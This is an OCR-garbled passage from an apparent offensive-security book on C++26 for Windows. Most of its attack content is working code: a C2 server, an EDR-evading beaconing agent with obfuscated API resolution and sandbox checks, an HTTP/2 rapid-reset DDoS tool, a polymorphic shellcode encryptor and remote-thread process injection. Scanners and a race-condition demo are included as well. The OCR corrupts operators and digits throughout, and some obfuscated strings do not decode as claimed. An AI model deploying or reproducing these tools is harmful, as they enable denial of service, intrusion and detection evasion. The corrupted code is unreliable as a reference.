auto device = BluetoothLEDevice: :FromBluetoothAddressAsync(device_address).get();

n

std::cout << "\nEnumerating services for device:

<< winrt::to_string(device.Name()) << "\n";
auto services = device.GetGattServicesAsync().get();
for (const auto& service : services.Services()) {
auto uuid = service.Uuid();

std::cout << " Service: " << winrt::to_string(uuid.ToString()) << "\n";

// Enumerate characteristics for this service
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auto characteristics = service.GetCharacteristicsAsync().get();
for (const auto& characteristic : characteristics.Characteristics()) {
auto char_uuid = characteristic.Uuid();

std::cout << " Characteristic:

<< winrt::to_string(char_uuid.ToString()) << "\n";

// Attempt to read value (if permitted)

auto read_result = characteristic.ReadValueAsync().get();

if (read_result.Status() == GattCommunicationStatus::Success) {
auto reader = DataReader::FromBuffer(read_result.Value());
// Process characteristic value for reverse engineering

std::cout << " Value read successfully\n”;

3
} catch (const std::exception& e) {

std::cerr << "Error enumerating services: " << e.what() << "\n";

3

int main() {

init_apartment(apartment_type::single_threaded);

BLESecurityTool tool;
tool.start_scan(5000);

// Example: enumerate services for the first discovered device

// (In practice, you would select a target based on the scan results)

return 0;

Compilation Requirements

This code requires the C++/WinRT SDK and must be compiled with ‘/std:c++latest*. Add
references to “WindowsApp.lib‘ and ensure the application manifest includes the ‘bluetooth*

capability.
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5.5 Developing an Attack Tool for Zigbee and Z-Wave Using

Serial Communication and std::future

Zigbee and Z-Wave are popular protocols for [oT and home automation. Both rely on serial
communication over USB adapters: Zigbee typically uses the EmberZNet Serial Protocol (EZSP)
for Silicon Labs transceivers or the Z-Stack ZNP for TI chips, while Z-Wave uses the Serial API

for Silicon Labs controllers[reference:9].

Serial Communication with std::future

‘std::future* provides a mechanism to manage asynchronous serial operations without blocking
the main thread. Combined with RAII for serial port management, this allows building robust

attack tools.

// zigbee_attack.cpp - Zigbee/Z-Wave serial communication
#include <windows.h>

#include <future>

#include <vector>

#include <string>

#include <iostream>

#include <chrono>

class SerialPort {
private:
HANDLE handle;

std::string port_name;

public:
SerialPort(const std::string& name, DWORD baud_rate = 115200)
: port_name(name), handle(INVALID_HANDLE_VALUE) {
std::string full_port = "\\\\.\\" + name;
handle = CreateFileA(full_port.c_str(),
GENERIC_READ | GENERIC_WRITE,
0, nullptr, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, nullptr);

if (handle == INVALID_HANDLE_VALUE) {

throw std::runtime_error("Failed to open serial port");
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DCB dcb = {3};

dcb.DCBlength = sizeof(DCB);
GetCommState(handle, &dcb);
dcb.BaudRate = baud_rate;
dcb.ByteSize = 8;
dcb.StopBits = ONESTOPBIT;
dcb.Parity = NOPARITY;
SetCommState(handle, &dcb);

COMMTIMEOUTS timeouts = {};
timeouts.ReadIntervalTimeout = 50;
timeouts.ReadTotalTimeoutConstant = 50;
timeouts.ReadTotalTimeoutMultiplier = 10;

SetCommTimeouts(handle, &timeouts);

~SerialPort() {
if (handle != INVALID_HANDLE_VALUE) {
CloseHandle(handle);

std::future<std: :vector<uint8_t>> read_async(size_t expected_bytes) {
return std::async(std::launch::async, [this, expected_bytes]() {
std: :vector<uint8_t> buffer(expected_bytes);
DWORD bytes_read = 0;
ReadFile(handle, buffer.data(), expected_bytes, &bytes_read, nullptr);
buffer.resize(bytes_read);
return buffer;

s

std:: future<bool> write_async(const std::vector<uint8_t>& data) {
return std::async(std::launch::async, [this, datal() {
DWORD bytes_written = 0;
return WriteFile(handle, data.data(), data.size(), &bytes_written, nullptr)
&& bytes_written == data.size();
s
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// Synchronous methods for simple commands
bool write(const std::vector<uint8_t>& data) {
DWORD bytes_written = 0;
return WriteFile(handle, data.data(), data.size(), &bytes_written, nullptr);

std: :vector<uint8_t> read(size_t max_bytes = 256) {
std: :vector<uint8_t> buffer(max_bytes);
DWORD bytes_read = 0;
ReadFile(handle, buffer.data(), max_bytes, &bytes_read, nullptr);
buffer.resize(bytes_read);

return buffer;

}

// Zigbee EZSP frame structure (simplified)
struct EZSPFrame {

uint8_t sequence;

uint8_t frame_control;

uint16_t legacy_frame_id;

std: :vector<uint8_t> payload;

std: :vector<uint8_t> serialize() const {
std::vector<uint8_t> result;
result.push_back(sequence);
result.push_back(frame_control);
result.push_back(legacy_frame_id & OxFF);
result.push_back((legacy_frame_id >> 8) & OxFF);
result.insert(result.end(), payload.begin(), payload.end());

return result;

3

// Z-Wave Serial API frame (simplified)
struct ZWaveFrame {
uint8_t soh = @x01; // Start of Header
uint8_t length;
uint8_t command_class;
uint8_t command;
std::vector<uint8_t> data;

uint8_t checksum;
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std: :vector<uint8_t> serialize() const {

std: :vector<uint8_t> result;

result.push_back(soh);
result.push_back(length);

result.push_back(command_class);

result.push_back(command);
result.insert(result.end(), data.begin(), data.end());

// Calculate XOR checksum

uint8_t calc_checksum = soh * length * command_class * command;

for (uint8_t b :

data) calc_checksum *= b;

result.push_back(calc_checksum);

return result;
b
class IoTHackingTool {
private:

SerialPort serial;

public:

IoTHackingTool(const std::string& port) : serial(port) {3}

// Zigbee: Send network discovery command

std: :future<std::vector<uint8_t>> discover_zigbee_network() {

EZSPFrame discover_frame;

discover_frame
discover_frame
discover_frame

discover_frame

.sequence = 0x01;

.frame_control = 0x00;

.legacy_frame_id = 0x0001; // Network Discovery

.payload = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

auto data = discover_frame.serialize();

serial.write(data);

return serial.read_async(128);

// Z-Wave: Send request node info

void request_z_wave_node_info(uint8_t node_id) {

ZWaveFrame request;

request.length

= 0x04;
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request.command_class = 0x00;
request.command = @x02; // Request Node Info

request.data = {node_id};

auto data = request.serialize();

serial.write(data);

// Intercept and log all serial traffic for reverse engineering
std:: future<void> capture_traffic(int duration_seconds) {
return std::async(std::launch::async, [this, duration_seconds]() {
auto end_time = std::chrono: :steady_clock: :now()

+ std::chrono: :seconds(duration_seconds);

while (std::chrono::steady_clock::now() < end_time) {
auto data = serial.read();
if (!data.empty()) {
std::cout << "Captured " << data.size() << " bytes: ";
for (uint8_t b : data) {
std::cout << std::hex << static_cast<int>(b) << " ";

}

std::cout << std::dec << "\n";
3
Sleep(10);

s

3

int main(int argc, charx argv[]) {
if (argc '= 2) {
std::cerr << "Usage: " << argv[@] << " <COM_port>\n";
std::cerr << "Example: " << argv[@] << " COM3\n";

return 1;

try {
IoTHackingTool tool(argv[1]);

std::cout << "Starting IoT security assessment on " << argv[1] << "\n";

std::cout << "Capturing traffic for 10 seconds...\n";

’
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auto capture_future = tool.capture_traffic(10);

capture_future.get();
std::cout << "Capture complete.\n";

} catch (const std::exception& e) {
std::cerr << "Error: " << e.what() << "\n";
std::cerr << "Ensure the device is connected and the port is not in use.\n";

return 1;

return 0;

Compilation and Usage

cl /std:c++latest /02 iot_attack.cpp /Fe:iot_attack.exe
iot_attack.exe COM3
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5.6 Summary

This chapter covered five advanced wireless and IoT attack techniques implemented in C++26 on

Windows:

Capturing 802.11 frames with Npcap’s monitor mode and parsing radiotap headers with

‘std::mdspan®.

* Executing large-scale deauthentication attacks with Npcap injection and parallel execution

policies.

* Building a WPA3 SAE side-channel attack tool using ‘std::execution::par‘ for parallel

password testing.

* Intercepting BLE connections with the Windows Bluetooth LE API to enumerate services

and characteristics.

* Developing attack tools for Zigbee and Z-Wave using serial communication and

‘std::future® for asynchronous operations.

Proceed to Chapter 6 to explore malicious server programming and infrastructure hacking with
C++26.



Malicious Server Programming &

Infrastructure Hacking

6.1 Building a Lightweight, High-Performance C2 Using Asio

and C++26 Coroutines

A Command and Control (C2) server is the backbone of any red team operation. It must handle
thousands of concurrent agents, maintain low latency, and resist detection. Asio (formerly
Boost.Asio) is a cross-platform C++ library for network and low-level I/O programming that
provides a consistent asynchronous model. When combined with C++20 coroutines and C++26’s

‘std::execution‘ framework, we can build a C2 server that is both lightweight and highly scalable.

Asio Setup on Windows with Visual Studio 2026

Asio supports Windows using MSVC. To use it: 1. Download the standalone Asio header-only
library. 2. In Visual Studio, add the Asio include directory to your project. 3. Define
‘ASIO_STANDALONE* and ‘ASIO_HAS_CO_AWAIT" to enable coroutine support. 4. Link
against ‘ws2_32.1ib‘ and optionally ‘crypt32.1ib‘ for SSL.

Coroutine-Based Agent Handler

C++20 coroutines allow us to write asynchronous code that looks synchronous. Each agent
connection can be handled by a separate coroutine, suspended while waiting for I/O, and resumed

when data arrives.

// c2_server.cpp - Asio C2 server with coroutines
#include <asio.hpp>
#include <asio/experimental/awaitable_operators.hpp>

#include <iostream>

109
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#include <memory>
#include <vector>
#include <unordered_map>
#include <random>

#include <chrono>

using namespace asio;
using namespace asio::ip;

using namespace asio::experimental::awaitable_operators;

struct Agent {
tcp: :socket socket;
std::string id;
std: :chrono: :steady_clock::time_point last_heartbeat;
std::vector<std::string> task_queue;
bool authenticated = false;

3

class C2Server {
private:
io_context io_context_;
tcp::acceptor acceptor_;
std: :unordered_map<std::string, std::shared_ptr<Agent>> agents_;
std::mt19937 rng_;

asio::steady_timer heartbeat_timer_;

std::string generate_agent_id() {
std::uniform_int_distribution<> dis(@, 15);
const charx hex_chars = "0123456789ABCDEF";
std::string id(32, ' ');
for (char& c : id) ¢ = hex_chars[dis(rng_)1;

return id;

awaitable<void> handle_agent(std::shared_ptr<Agent> agent) {
try {
char data[4096];
while (true) {
std::size_t len = co_await agent->socket.async_read_some(
buffer(data), use_awaitable);
std::string command(data, len);
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std::cout << "[" << agent->id << "] Command: " << command << "\n";

std::string response;
if (command == "beacon") {
agent->last_heartbeat = std::chrono::steady_clock: :now();
response = "ACK";
} else if (command == "get_task") {
if (lagent->task_queue.empty()) {
response = agent->task_queue.back();
agent->task_queue.pop_back();
} else {
response = "NO_TASK";
}
} else if (command.rfind("exec_result:", @) == @) {
std::cout << "[" << agent->id << "] Result: " << command.substr(12) << "\n";
response = "RECEIVED";
} else {
response = "UNKNOWN";

co_await async_write(agent->socket, buffer(response), use_awaitable);

}
} catch (std::exception& e) {
std::cerr << "Agent " << agent->id << " disconnected: " << e.what() << "\n";

awaitable<void> accept_agents() {
while (true) {

auto socket = co_await acceptor_.async_accept(use_awaitable);
auto agent = std::make_shared<Agent>();
agent->socket = std::move(socket);
agent->id = generate_agent_id();
agent->last_heartbeat = std::chrono::steady_clock: :now();
agents_[agent->id] = agent;
std::cout << "New agent connected: " << agent->id << "\n";

co_spawn(io_context_, handle_agent(agent), detached);

awaitable<void> monitor_heartbeats() {
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while (true) {
co_await heartbeat_timer_.async_wait(use_awaitable);
auto now = std::chrono::steady_clock: :now();
for (auto it = agents_.begin(); it != agents_.end(); ) {
if (now - it->second->last_heartbeat > std::chrono::seconds(60)) {
std::cout << "Agent " << it->first << " timed out\n";

it = agents_.erase(it);

} else {
Tl g

3

3

heartbeat_timer_.expires_after(std: :chrono::seconds(30));

}
3
public:

C2Server(short port)
: acceptor_(io_context_, tcp::endpoint(tcp::v4(), port)),
rng_(std: :random_device{}()),

heartbeat_timer_(io_context_, std::chrono::seconds(30)) {3}

void run() {
co_spawn(io_context_, accept_agents(), detached);
co_spawn(io_context_, monitor_heartbeats(), detached);
std::cout << "C2 Server listening on port " << acceptor_.local_endpoint().port() <<
"\n";

io_context_.run();

void dispatch_task(const std::string& agent_id, const std::string& task) {
if (agents_.find(agent_id) != agents_.end()) {
agents_[agent_id]->task_queue.push_back(task);

3

int main() {
try {
C2Server server(4444);
server.run();

} catch (std::exception& e) {
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std::cerr << "Error: " << e.what() << "\n";
return 1;
3
return 0;
}
Compilation:

cl /std:ct++latest /02 /Iasio_include_path c2_server.cpp /Fe:c2_server.exe /link ws2_32.1ib
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6.2 Developing a Windows Agent That Evades EDR/AV Using

std::filesystem and std::random_device

Modern EDR solutions use multiple techniques to detect malicious activity: static signatures in
the Import Address Table (IAT), behavioral analysis, and hooking of critical Windows APIs. A
stealthy agent must employ: - String obfuscation: No plaintext sensitive strings in the binary. -
Dynamic API resolution: Load DLLs and resolve functions at runtime to avoid IAT entries. -
Syscalls: Bypass user-mode hooks by invoking system calls directly. - Sleep obfuscation: Use
‘std::this_thread::sleep_for* with randomized jitter. - Filesystem evasion: Use ‘std::filesystem*® to

check for analysis tools.

// edr_agent.cpp - EDR-evading agent
#include <windows.h>

#include <winternl.h>

#include <filesystem>

#include <random>

#include <thread>

#include <chrono>

#include <string>

#include <vector>

#include <iostream>
namespace fs = std::filesystem;

std: :string xor_string(const std::string& data, char key) {
std::string result = data;
for (char& c : result) c *= key;

return result;

const char obf_kernel32[] =

— {0x2b,0x3c,0x2f,0x2a,0x2d,0x2a,0x32,0x2c,0x5b,0x2c,0x2f,0x2c,0x5a,0x007};
const char obf_virtualalloc[] =

— {0x34,0x23,0x2e,0x20,0x2d,0x21,0x2a,0x2c,0x2c,0x29,0x24,0x2e,0x00};

typedef LPVOID (WINAPI* VirtualAlloc_t)(LPVOID, SIZE_T, DWORD, DWORD);

VirtualAlloc_t get_VirtualAlloc() {
std::string kernel32 = xor_string(obf_kernel32, 'K');
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std::string func_name = xor_string(obf_virtualalloc, 'K');
HMODULE hMod = LoadLibraryA(kernel32.c_str());
return (VirtualAlloc_t)GetProcAddress(hMod, func_name.c_str());

bool is_sandboxed() {

std: :vector<std::string> suspicious_paths = {
"C:\\Program Files\\Wireshark”,
"C:\\Program Files\\Procmon”,
"C:\\Windows\\System32\\drivers\\etc\\hosts"

b

for (const auto& path : suspicious_paths) {
if (fs::exists(path)) return true;

}

if (IsDebuggerPresent()) return true;

return false;

void stealthy_sleep(int base_ms) {
std: :random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> jitter(-50, 100);
int sleep_ms = base_ms + jitter(gen);
if (sleep_ms < 10) sleep_ms = 10;

std: :this_thread: :sleep_for(std::chrono::milliseconds(sleep_ms));

void beacon(const std::string& c2_url) {

std::cout << "Beaconing to " << c2_url << "\n";

int main() {

if (is_sandboxed()) {
std::cout << "Sandbox detected, exiting.\n";
return 0;

}

VirtualAlloc_t pVirtualAlloc = get_VirtualAlloc();

if (!pVirtualAlloc) return 1;

while (true) {
beacon("https://192.168.1.100:4444/beacon”);
stealthy_sleep(60000) ;
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}

return 0;

Compilation with static CRT:

cl /std:ct++latest /MT /02 /GS- /guard:cf- edr_agent.cpp /Fe:edr_agent.exe
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6.3 Implementing an Application-Layer DDoS Attack Using
std::jthread and Zero-Copy Memory Management

‘std::jthread‘ (C++20) automatically rejoins on destruction and supports cooperative cancellation
via ‘std::stop_token‘. This makes it ideal for managing large-scale DDoS attacks. For zero-copy
networking, Windows provides “TransmitFile‘ to send data directly from the file cache to the

socket.

// http2_rapid_reset.cpp - Application-layer DDoS
#include <winsock2.h>

#include <ws2tcpip.h>

#include <thread>

#include <vector>

#include <atomic>

#include <stop_token>

#include <chrono>

#include <iostream>

#include <random>
#pragma comment(lib, "ws2_32.1ib")

constexpr int THREAD_COUNT = 100;
constexpr int CONNECTIONS_PER_THREAD = 10;
constexpr uint16_t TARGET_PORT = 443;

std::atomic<uint64_t> total_requests{0};

std: :vector<uint8_t> build_priority_frame(uint32_t stream_id) {
std: :vector<uint8_t> frame;
frame.push_back(0x00); frame.push_back(0x00); frame.push_back(0x04);
frame.push_back(0x02); frame.push_back(0x00);
frame.push_back((stream_id >> 24) & Ox7F);
frame.push_back((stream_id >> 16) & OxFF);
frame.push_back((stream_id >> 8) & OxFF);
frame.push_back(stream_id & OxFF);
frame.push_back(0x00); frame.push_back(0x@0); frame.push_back(0x00);
— frame.push_back(0x00); frame.push_back(0x10);

return frame;
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std: :vector<uint8_t> build_rst_frame(uint32_t stream_id) {
std::vector<uint8_t> frame;
frame.push_back(0x00); frame.push_back(0x00); frame.push_back(0x04);
frame.push_back(0x03); frame.push_back(0x00);
frame.push_back((stream_id >> 24) & Ox7F);
frame.push_back((stream_id >> 16) & OxFF);
frame.push_back((stream_id >> 8) & OxFF);
frame.push_back(stream_id & OxFF);
frame.push_back(@0x00); frame.push_back(0x00); frame.push_back(0x00);
— frame.push_back(0x08);

return frame;

void attacker_worker(std::stop_token stop, const char* target_ip, int thread_id) {
std: :random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> stream_dist(1, 1000000);
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
std: :vector<SOCKET> sockets;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(TARGET_PORT);
inet_pton(AF_INET, target_ip, &addr.sin_addr);
for (int i = @; i < CONNECTIONS_PER_THREAD; ++i) {
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (connect(sock, (sockaddr*)&addr, sizeof(addr)) == @) sockets.push_back(sock);
}
while (!stop.stop_requested()) {
for (SOCKET sock : sockets) {
uint32_t stream_id = stream_dist(gen);
auto priority = build_priority_frame(stream_id);
auto rst = build_rst_frame(stream_id);
send(sock, (char*)priority.data(), priority.size(), 0);
send(sock, (charx*)rst.data(), rst.size(), 0);
total_requests.fetch_add(1, std::memory_order_relaxed);
if (total_requests.load() % 1000 == @) std::this_thread::yield();

3
for (SOCKET sock : sockets) closesocket(sock);

WSACleanup();
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int main(int argc, charx argv[]) {
if (argc !'= 2) { std::cerr << "Usage: " << argv[@] << " <target_ip>\n"; return 1; }
std: :vector<std::jthread> workers;
std: :stop_source stop;
auto start_time = std::chrono::steady_clock: :now();
for (int i = @; i < THREAD_COUNT; ++i) {
workers.emplace_back([&stop, &argv, il(std::stop_token token) {
attacker_worker(token, argv[1], i);
D
}

std::cout << "DDoS attack started. Press Enter to stop.\n”;
std::cin.get();

stop.request_stop();

workers.clear();

auto end_time = std::chrono::steady_clock: :now();

auto duration = std::chrono::duration_cast<std::chrono::seconds>(end_time - start_time);

std::cout << "Total requests: " << total_requests.load() << " in " << duration.count() <<
— " seconds\n";
return 0;

Zero-copy example with TransmitFile:

#include <windows.h>

#include <mswsock.h>

void sendfile_zero_copy(SOCKET sock, HANDLE file_handle) {
TRANSMIT_FILE_BUFFERS tfb = {03};
DWORD bytes_sent;
TransmitFile(sock, file_handle, @, @, &tfb, &tfb, TF_DISCONNECT);
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6.4 Exploiting Race Conditions in Concurrent Servers (Using

Reverse-Engineered std::atomic and std::mutex)

Race conditions arise when multiple threads access shared data without proper synchronization.
Attackers can exploit them by timing thread interleaving. The following demonstrates a

vulnerable bank transfer and an exploit that causes double-spend.

// vulnerable_server.cpp - Race condition example
#include <mutex>

#include <thread>

#include <unordered_map>

#include <iostream>

#include <chrono>

struct BankAccount { int balance; std::mutex mtx; };

std: :unordered_map<int, BankAccount> accounts;

void transfer(int from_id, int to_id, int amount) {

BankAccount& from = accounts[from_id];

BankAccount& to = accounts[to_id];

std::lock(from.mtx, to.mtx);

std: :lock_guard<std: :mutex> lockl(from.mtx, std::adopt_lock);

std::lock_guard<std: :mutex> lock2(to.mtx, std::adopt_lock);

if (from.balance >= amount) {
std::this_thread: :sleep_for(std::chrono::microseconds(10));
from.balance -= amount;

to.balance += amount;

void exploit_race(int from_id, int to_id, int amount, int iterations) {
for (int i = @; i < iterations; ++i) {
std::thread t1(transfer, from_id, to_id, amount);
std::thread t2(transfer, from_id, to_id, amount);
t1.join(); t2.join();
if (accounts[from_id].balance < @) {
std::cout << "Exploit succeeded! Balance became "
< "\n";

break;

<< accounts[from_id].balance <<
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accounts[from_id].balance = 10000;

accounts[to_id].balance = 0;
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6.5 Building a Vulnerability Scanner for gRPC and GraphQL

(Reverse-Engineering Protobuf)

gRPC uses Protocol Buffers (Protobuf) for binary serialization, and GraphQL supports
introspection to reveal the schema. A modern scanner must enumerate gRPC services and parse
GraphQL schemas.

gRPC Service Enumeration

// grpc_scanner.cpp - gRPC service enumeration
#include <winsock2.h>

#include <ws2tcpip.h>

#include <string>

#include <vector>

#include <iostream>
#pragma comment(lib, "ws2_32.1ib")
const charx HTTP2_PREFACE = "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n";

std: :vector<uint8_t> build_grpc_request(const std::string& service, const std::string&
— method) {

std::string path = "/" + service + "/" + method;

std::string request = "POST " + path + " HTTP/2\r\nHost: localhost\r\n\r\n”;

return std::vector<uint8_t>(request.begin(), request.end());

bool check_method(const std::string& host, int port, const std::string& service, const
— std::string& method) {

SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

struct sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(port);

inet_pton(AF_INET, host.c_str(), &addr.sin_addr);

if (connect(sock, (sockaddr*)&addr, sizeof(addr)) != @) return false;

send(sock, HTTP2_PREFACE, strlen(HTTP2_PREFACE), 0);

auto request = build_grpc_request(service, method);

send(sock, (char*)request.data(), request.size(), 0);

char response[1024];

int received = recv(sock, response, sizeof(response), 0);
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int

closesocket (sock);

return (received > @ && response[9] == 0);

main() {

std: :vector<std::string> services = {"Greeter"”, "Calculator”, "Auth”, "Admin"};

std: :vector<std::string> methods = {"SayHello", "Add", "Login", "DeleteUser"};
for (const auto& service : services)
for (const auto& method : methods)
if (check_method("localhost”, 50051, service, method))
std::cout << "Found: " << service << "/" << method << "\n";

return 0;

GraphQL Introspection Scanner

// graphqgl_scanner.cpp - GraphQL introspection
#include <winhttp.h>

#include <string>

#include <iostream>

#include <nlohmann/json.hpp>

#pragma comment(lib, "winhttp.lib")

std:

}
DY

:string introspection_query = R"({
schema {

types { name fields { name type { name kind } } }

void scan_graphgl_endpoint(const std::wstring& server, int port, const std::wstring& path) {

HINTERNET session = WinHttpOpen(L"GraphQL Scanner/1.0",

—  WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, @);

HINTERNET connect = WinHttpConnect(session, server.c_str(), port, 0);

HINTERNET request = WinHttpOpenRequest(connect, L"POST"”, path.c_str(), NULL, NULL, NULL,
- 0);

std::string headers = "Content-Type: application/json\r\n”;

n

std::string body = "{\"query\": + nlohmann: :json(introspection_query).dump() + "}";
WinHttpSendRequest(request, headers.c_str(), headers.size(), (LPVOID)body.c_str(),
— body.size(), body.size(), 9);

WinHttpReceiveResponse(request, NULL);
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char buffer[4096];

DWORD bytes_read;

std::string response;

while (WinHttpReadData(request, buffer, sizeof(buffer), &bytes_read) && bytes_read)
response.append(buffer, bytes_read);

auto json = nlohmann::json::parse(response);

if (json.contains("data") && json["data"].contains(”__schema"))
std::cout << "Introspection enabled!\n";

WinHttpCloseHandle(request); WinHttpCloseHandle(connect); WinHttpCloseHandle(session);

Protobuf Reverse Engineering with C++26 Reflection

#include <meta>

#include <print>

template<typename T>
consteval void dump_protobuf_schema() {
consteval auto members = std::meta::nonstatic_data_members_of (**T);
for (constexpr auto member : members) {
std::println("Field: {}", std::meta::name_of (member));
std::println(” Type: {}", std::meta::name_of (**std::meta::type_of (member)));
std::println(” Offset: {}", std::meta::offset_of(member));

struct MyMessage { int id; std::string name; double value; };

static_assert([J() { dump_protobuf_schema<MyMessage>(); return true; }());
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6.6 Summary

This chapter covered five advanced infrastructure hacking techniques implemented in C++26:
* Building a lightweight, high-performance C2 using Asio and C++26 coroutines.

* Developing an EDR-evading Windows agent using ‘std::filesystem* and

‘std::random_device®.

* Implementing an application-layer DDoS attack using ‘std::jthread‘ and zero-copy memory

management.

* Exploiting race conditions in concurrent servers by reverse-engineering ‘std::atomic*‘ and

‘std::mutex ‘.

* Building vulnerability scanners for gRPC and GraphQL, including Protobuf reverse

engineering with C++26 reflection.

Proceed to Chapter 7 to explore evasion and anti-forensics techniques.



Evasion & Anti-Forensics Techniques

7.1 Building a Polymorphic Encryptor That Uses constexpr to

Generate Unique Code

Polymorphic encryption is a technique where malicious payloads are encrypted with a unique key
for each execution instance, making signature-based detection ineffective. C++11 introduced
‘constexpr‘ to enforce compile-time evaluation. The C++26 standard significantly expands
‘constexpr* capabilities by allowing dynamic memory allocation (‘new‘ and ‘delete) during
constant evaluation, provided the allocated memory is properly tracked and freed within the
compile-time context[reference:0]. This allows the creation of complex compile-time encryption
routines that produce unique encrypted payloads directly embedded into the binary. The key is to
use compile-time pseudorandom number generators (PRNGs) to produce a unique keystream for
each compilation unit, effectively generating a new "polymorphic variant" of the payload each
time the code is built.

The following example implements a polymorphic encryptor that compiles a unique encrypted
variant of a shellcode payload. The encryption key is generated at compile time using a
‘constexpr* Xorshift PRNG, and the resulting ciphertext is stored directly in the binary. At
runtime, the decryptor reverses the process with zero heap allocations, using a modern,

constexpr-compatible approach.

// polymorphic_encryptor.cpp - Compile-time polymorphic encryption
#include <iostream>
#include <array>

#include <cstdint>

// Constexpr Xorshift PRNG for compile-time key generation
class ConstexprPRNG {

uint64_t state;
public:

126
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constexpr ConstexprPRNG(uint64_t seed) : state(seed) {}
constexpr uint64_t next() {
state "= state >> 12;
state "= state << 25;
state "= state >> 27;
return state *x 0x2545F4914F6CDD1DULL;
}
constexpr uint8_t next_byte() {
return static_cast<uint8_t>(next() & OxFF);

b

// Compile-time XOR encryption using a constexpr PRNG
template<size_t N>
constexpr std::array<uint8_t, N> encrypt_payload(
const std::array<uint8_t, N>& plain,
uint64_t seed
) {
std: :array<uint8_t, N> cipher{};
ConstexprPRNG prng(seed);
for (size_t i = @; i < N; ++i) {

cipher[i] = plain[i] * prng.next_byte();
}

return cipher;

// Compile-time decryption (runtime)

template<size_t N>

void decrypt_payload(std::array<uint8_t, N>& cipher, uint64_t seed) {
ConstexprPRNG prng(seed);
for (size_t i = @; i < N; ++i) {

cipher[i] *= prng.next_byte();

// Payload to encrypt (e.g., message box shellcode)
constexpr std::array<uint8_t, 16> original_payload = {
0x48, 0x31, OxCoO, 0x48, 0x83, OxEC, 0x28, 0x48,
OxB8, 0x41, 0x42, 0x43, Ox44, 0x45, 0x46, 0x47

b
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// Encryption seed - compile-time generated unique value
constexpr uint64_t ENCRYPTION_SEED = OxDEADBEEFCAFEBABEULL;

// Encrypted payload computed at compile time
constexpr auto encrypted_payload = encrypt_payload(original_payload, ENCRYPTION_SEED);

int main() {
// Decrypt at runtime
auto payload = encrypted_payload;
decrypt_payload(payload, ENCRYPTION_SEED);

// Verify decryption
std::cout << "Decrypted payload: ";
for (uint8_t byte : payload) {
std::cout << std::hex << static_cast<int>(byte) << " ";
}

std::cout << "\n";
// Note: In real scenarios, execute the decrypted shellcode here.

return 0;

Compilation:

cl /std:c++latest /02 polymorphic_encryptor.cpp /Fe:polymorphic_encryptor.exe
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7.2 Modern Process Injection: Using VirtualAllocEx,

WriteProcessMemory, CreateRemoteThread + std::span

Process injection is a core technique for executing arbitrary code within the address space of a
legitimate process. The classic sequence involves ‘Virtual AllocEx‘ to allocate memory in the
target process, ‘WriteProcessMemory‘ to write the payload into that memory, and
‘CreateRemoteThread to start execution from the payload’s entry point[reference:1]. This
sequence is heavily monitored by EDRs[reference:2]. However, when combined with modern
C++ safety features such as ‘std::span‘ for bounds-checked memory views, and further augmented

with direct syscalls (as detailed in the next section), it remains a fundamental primitive.

Using std::span for Safe Payload Manipulation

‘std::span‘, introduced in C++20, provides a non-owning, bounds-safe view into contiguous
memory. By using ‘std::span<uint8_t>* for the payload and intermediate buffers, we avoid
manual pointer arithmetic and reduce the risk of buffer overflows in the injection code itself. The

following example demonstrates a complete injection flow.

// process_injection.cpp - Using std::span for safe injection
#include <windows.h>

#include <span>

#include <vector>

#include <iostream>

#include <cstdint>

bool inject_payload(DWORD pid, std::span<const uint8_t> payload) {
// Open the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if ('hProcess) {
std::cerr << "OpenProcess failed. Error: " << GetlLastError() << "\n";

return false;

// Allocate memory in the target process
LPVOID pRemoteMemory = VirtualAllocEx(
hProcess,
nullptr,
payload.size(),
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MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE

K

if (!pRemoteMemory) {
std::cerr << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
CloseHandle(hProcess);
return false;

}

// Write the payload to the allocated memory
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(

hProcess,

pRemoteMemory,

payload.data(),

payload.size(),

&bytesWritten

std::cerr << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
VirtualFreeEx(hProcess, pRemoteMemory, @, MEM_RELEASE);
CloseHandle(hProcess);

return false;

// Create a remote thread to execute the payload

HANDLE hThread = CreateRemoteThread(
hProcess,
nullptr,
o,
reinterpret_cast<LPTHREAD_START_ROUTINE>(pRemoteMemory),
nullptr,
o,
nullptr

);

if (!'hThread) {
std::cerr << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
VirtualFreeEx(hProcess, pRemoteMemory, @, MEM_RELEASE);
CloseHandle(hProcess);

return false;
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// Wait for the thread to finish (optional)
WaitForSingleObject(hThread, INFINITE);

// Cleanup
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteMemory, @, MEM_RELEASE);

CloseHandle(hProcess);

return true;

int main() {

// Example message box shellcode (x64)

std: :vector<uint8_t> shellcode = {
0x48, 0x31, 0xCO, 0x50, 0x48, OxB8, 0x48, 0x65, Ox6C, Ox6C, Ox6F, 0x21, 0x00,
0x50, 0x48, 0x89, OxE2, 0x48, 0x31, 0xCO, 0x50, 0x50, 0x48, 0x89, OxE1, 0x48,
0x31, 0xCo, 0x48, 0x83, OxEC, 0x28, 0x48, 0xC7, 0xCO, 0x00, 0x00, 0x00, 0x00,
0x48, 0x83, 0xC4, 0x28, OxC3

b

DWORD pid = 1234; // Replace with target process PID

if (inject_payload(pid, std::span<const uint8_t>(shellcode))) {
std::cout << "Injection successful.\n";

} else {
std::cout << "Injection failed.\n";

}

return 0;
}
Compilation:

cl /std:c++latest /02 process_injection.cpp /Fe:process_injection.exe
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7.3 Bypassing User-Mode Hooks (EDR) via Direct Syscalls

from constexpr Context

Endpoint Detection and Response (EDR) solutions monitor user-mode API calls by placing
hooks (detours) in DLLs such as ‘ntdll.dll‘[reference:3]. Direct system calls bypass these hooks
